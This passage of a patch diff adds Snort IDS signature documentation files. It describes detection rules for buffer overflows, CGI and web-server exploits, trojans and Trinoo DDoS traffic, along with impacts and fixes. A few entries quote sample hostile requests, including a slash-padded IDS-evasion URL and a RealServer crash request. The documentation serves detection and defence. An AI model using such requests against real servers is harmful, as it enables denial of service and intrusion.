+1870
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/299.txt
+++ snort-2.8.5.2/doc/signatures/299.txt
@@ -0,0 +1,60 @@
+SID:
+299
+--
+
+Rule:
+--
+
+Summary:
+This event is triggered when an attempt is made to overflow an imapd 
+server.
+--
+
+Impact:
+Commands may be run on the IMAP server as the root user, This can lead 
+to a complete compromise of the targeted system
+--
+
+Detailed Information:
+Failure to check the size of the value passed to the 'AUTHENTICATE' 
+command on certain IMAPD implementations can lead to a buffer overflow. 
+This in turn can allow arbitrary commands to be executed on the server.
+--
+
+Affected Systems:
+	Netscape Messaging Server 3.55, University of Washington imapd 10.234
+--
+
+Attack Scenarios:
+An attacker may attempt to exploit a vulnerable imapd server, permitting
+the execution of arbitrary commands possibly with the privilege of user 
+"root".
+--
+
+Ease of Attack:
+Simple. Sample exploit code is available.
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Vendors have provided updated versions, upgrading will resolve this 
+problem
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1387.txt
+++ snort-2.8.5.2/doc/signatures/1387.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+
+1387
+
+--
+Summary:
+
+This event is generated when an attempt is made to overflow a buffer in Microsoft SQL server.
+
+--
+Impact:
+
+A successful attack will allow an attacker to run arbitrary code on the SQL Server using the privileges of the account that SQL Server is running under typically, administrator.
+
+
+--
+Detailed Information:
+
+Microsoft SQL Server has a exploitable overflow in raiserror() function. An attack can inject the malicious SQL commands containing an overly long input in attempt to overflow the buffer.
+
+Moreover, the specifier will enable an attack to execute an arbitrary command in a memory space, leading to a total system compromise.
+ 
+
+--
+Affected Systems:
+
+	Microsoft SQL Server 7.0 
+ 	Microsoft SQL Server 2000
+	
+
+--
+Attack Scenarios:
+
+An attacker could send arbitrary queries to a SQL server through web applications.
+
+--
+Ease of Attack:
+
+Moderately difficult, since the exploit depends on an ability to inject SQL commands to the SQL server.
+
+--
+False Positives:
+
+None known.
+
+--
+False Negatives:
+
+None known.
+
+--
+Corrective Action:
+
+Apply the appropriate vendor supplied patch.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2002-22.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1077.txt
+++ snort-2.8.5.2/doc/signatures/1077.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1077
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3416.txt
+++ snort-2.8.5.2/doc/signatures/3416.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3416
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/851.txt
+++ snort-2.8.5.2/doc/signatures/851.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+851
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2669.txt
+++ snort-2.8.5.2/doc/signatures/2669.txt
@@ -0,0 +1,62 @@
+Rule: 
+
+--
+Sid: 
+2669
+
+-- 
+Summary: 
+This event is generated when an attempt is made to access the file
+ibillpm.pl.
+
+-- 
+Impact: 
+Possible unauthorized administrative access to the victim host.
+Information disclosure.
+
+--
+Detailed Information:
+The script ibillpm.pl is used to process billing and payment via a CGI
+application over the Internet.
+
+The application suffers from a weak default password scheme that could
+be used by an attacker to take control of a user account and view
+billing details.
+
+--
+Affected Systems:
+	iBill Internet Billing Company Processing Plus
+
+--
+Attack Scenarios: 
+An attacker can supply the username and default password for a user to
+the script to gain control.
+
+-- 
+Ease of Attack: 
+Simple
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Uninstall the script ibillpm.pl
+
+Only allow usage from authenticated users
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1472.txt
+++ snort-2.8.5.2/doc/signatures/1472.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1472
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3115.txt
+++ snort-2.8.5.2/doc/signatures/3115.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3115
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1150.txt
+++ snort-2.8.5.2/doc/signatures/1150.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1150
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3138.txt
+++ snort-2.8.5.2/doc/signatures/3138.txt
@@ -0,0 +1,77 @@
+Rule: 
+
+--
+Sid: 
+3138
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft systems using Server Message Block (SMB).
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+SMB is a client - server protocol used in sharing resources such as
+files, printers, ports, named pipes and other things, between machines
+on a network.
+
+A vulnerability in the Microsoft implementation of SMB exists due to a
+programming error which may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain unauthorized access to the target host.
+
+A malicious attacker can exploit the vulnerability by sending a
+malicious response from a server in response to a client request using
+SMB.
+
+--
+Affected Systems:
+	Microsoft Windows 2003
+	Microsoft Windows 2000
+	Microsoft Windows XP
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message from the server
+containing code of their choosing to be run on the client.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+Turn off windows file and print services.
+
+Use Samba as an alternative.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+eEye:
+http://www.eeye.com/html/research/advisories/AD20050208.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2429.txt
+++ snort-2.8.5.2/doc/signatures/2429.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+2429
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in ISC INN Usenet/NNTP server.
+
+--
+Impact:
+Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+A vulnerability exists in the network news transport protocol server
+from ISC. It may be possible for a remote attacker to exploit a buffer
+overflow condition in the software to execute code of the attackers
+choosing with the privileges of the user running the daemon.
+
+--
+Affected Systems:
+	ISC INN 2.4 .0
+
+--
+Attack Scenarios:
+An attacker may send specially crafted packets to a vulnerable system to
+cause the overflow condition to occur. Once successful the attacker may
+attempt to escalate privileges by using further local exploits.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/278.txt
+++ snort-2.8.5.2/doc/signatures/278.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+278
+
+--
+Summary:
+This event is generated when a remote attacker transmits a malformed request for a page on a web server port, which can indicate a Denial of Service (DoS) attack on a RealNetworks RealServer.
+
+--
+Impact:
+The RealNetworks RealServer service will crash.
+
+--
+Detailed Information:
+RealNetworks RealServer is a server application that serves streaming audio to clients. When an attacker sends a request for a template file in the /viewsource/ directory with an empty variable value, RealServer crashes.   
+
+--
+Affected Systems:
+Systems running RealNetworks RealServer 7.0 with View Source functionality enabled.
+
+--
+Attack Scenarios:
+An attacker sends an HTTP request for /viewsource/template.html? on a RealServer audio server. RealServer crashes, stopping audio transmission.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If a legitimate remote user attempts to use the View Source function on RealServer, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest version of the software or disable the View Source functionality. The vendor has issued an advisory, workarounds, and downloadable patches at http://service.real.com/help/faq/servgviewsrc.html.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+RealNetworks
+http://service.real.com/help/faq/servgviewsrc.html
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/111-7.txt
+++ snort-2.8.5.2/doc/signatures/111-7.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 
+111-7
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+This may indicate scanning activity.
+
+--
+Detailed Information:
+The pre-processor stream4 has detected network traffic that may indicate
+a scan is in progress. That is, packets with the SYN, ACK, URG and
+PUSH flags set have been detected.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker may utilize scanning techniques to determine possible points
+of exploitation against a host.
+
+-- 
+Ease of Attack: 
+Simple. Many scanning tools exist.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/119-8.txt
+++ snort-2.8.5.2/doc/signatures/119-8.txt
@@ -0,0 +1,66 @@
+Rule: 
+
+--
+Sid: 
+119-8
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This may be an attempt to evade an IDS.
+
+--
+Detailed Information:
+This event is generated when the pre-processor http_inspect detects web
+requests that incorporate multiple concurrent "/" characters.
+
+This may be an attempt to obfuscate an attack and may also indicate an
+attempt to evade an IDS.
+
+--
+Affected Systems:
+	All web servers.
+
+--
+Attack Scenarios: 
+An attacker can add multiple "/" characters to a request like this.
+
+GET http://www.victim.com////////////////vulnerable/application.dll
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3001.txt
+++ snort-2.8.5.2/doc/signatures/3001.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid:
+3001
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the Microsoft implementation of the ASN.1 Library.
+
+--
+Impact:
+Serious. Execution of arbitrary code, DoS.
+
+--
+Detailed Information:
+A buffer overflow condition in the Microsoft implementation of the ASN.1 
+Library. It may be possible for an attacker to exploit this condition by 
+sending specially crafted authentication packets to a host running a 
+vulnerable operating system.
+
+When the taget system decodes the ASN.1 data, exploit code may be included 
+in the data that may be excuted on the host with system level privileges. 
+Alternatively, the malformed data may cause the service to become 
+unresponsive thus causing the DoS condition to occur.
+
+--
+Affected Systems:
+	Microsoft Windows NT
+	Microsoft Windows NT Terminal Server Edition
+	Microsoft Windows 2000
+	Microsoft Windows XP
+	Microsoft Windows 2003
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0818
+
+US-CERT
+http://www.us-cert.gov/cas/techalerts/TA04-041A.html
+
+Microsoft
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms04-007.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/210.txt
+++ snort-2.8.5.2/doc/signatures/210.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+210
+
+--
+Summary:
+This event is generated when  an attacker attempts to connect to a Telnet server using the phrase "backdoor".
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects UNIX operating systems:
+
+Due to the nature of this Trojan it is unlikely that the attacker's 
+client IP address has been spoofed.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability and 
+the attacker is leaving another way into the machine for further use.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Telnet access from external sources.
+
+Use SSH as opposed to Telnet for access from external locations
+
+Delete the Trojan and kill any associated processes.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/233.txt
+++ snort-2.8.5.2/doc/signatures/233.txt
@@ -0,0 +1,70 @@
+Rule:
+--
+Sid:
+233
+
+--
+Summary:
+This event is generated when a pong packet for the Trinoo (aka trin00) 
+DDos suite is detected.
+
+--
+Impact:
+This may indicate a compromised system or be the prelude to a
+Distributed Denial of Service (DDoS) attack.
+
+--
+Detailed Information:
+Once a Trinoo client has been installed on a compromised machine and a master is
+ready and listening, the master sends a "png" (ping) command to its drones in 
+an attempt to enumerate the drone network. A functioning client will respond to 
+port 31335/udp with the text "PONG".
+
+Once a machine becomes part of a trin00 network, a Denial of Service (DoS) 
+is typically initiated against one (or more) victim machines.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+As part of a large scale attack against a machine or a network, an
+attacker will compromise large numbers of machines which will form the
+army that the trin00 master daemon will command.  The master daemon
+typically instructs the clients to send mass-quantities of packets to
+a set of victim hosts.  If the traffic is sufficient, the victim
+machines will become resource deprived and thus endure a DoS condition.
+
+--
+Ease of Attack:
+Simple. Trinoo client and master programs are widely available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disconnect infected machine(s) from the network immediately.
+
+Use software to determine if a host has been compromised using a
+rootkit.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Jon Hart <warchild@spoofed.org>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+SANS:
+http://www.sans.org/newlook/resources/IDFAQ/trinoo.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2272.txt
+++ snort-2.8.5.2/doc/signatures/2272.txt
@@ -0,0 +1,62 @@
+Rule:  
+
+--
+Sid:
+2272
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Coreutils LS.
+
+--
+Impact:
+Denial of Service, possible arbitrary code execution.
+
+--
+Detailed Information:
+The Coreutils ls command contains an integer overflow vulnerability
+which may present an attacker with an exploitation opportunity in
+software that uses this command. By supplying a large amount of data to
+the ls command in the form of the width variable, an attacker may cause
+a DoS to occur. It may also be possible to execute arbitrary code as the
+application becomes unstable.
+
+--
+Affected Systems:
+	Coreutils LS
+
+--
+Attack Scenarios:
+The attacker needs to supply a large amount of data in the width
+variable to the ls command.
+
+--
+Ease of Attack:
+Simple. No exploit software required although automated scripts do exist.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3038.txt
+++ snort-2.8.5.2/doc/signatures/3038.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3038
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1126.txt
+++ snort-2.8.5.2/doc/signatures/1126.txt
@@ -0,0 +1,76 @@
+Rule:
+
+--
+Sid:
+1126
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+In this case, this event indicates an attempt to access the file
+_AuthChangeUrl which may indicate that an exploit attempt has been
+sucessful in changing user information on an IIS host or that an attempt
+has been made to enumerate accounts on an IIS host.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3168.txt
+++ snort-2.8.5.2/doc/signatures/3168.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3168
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
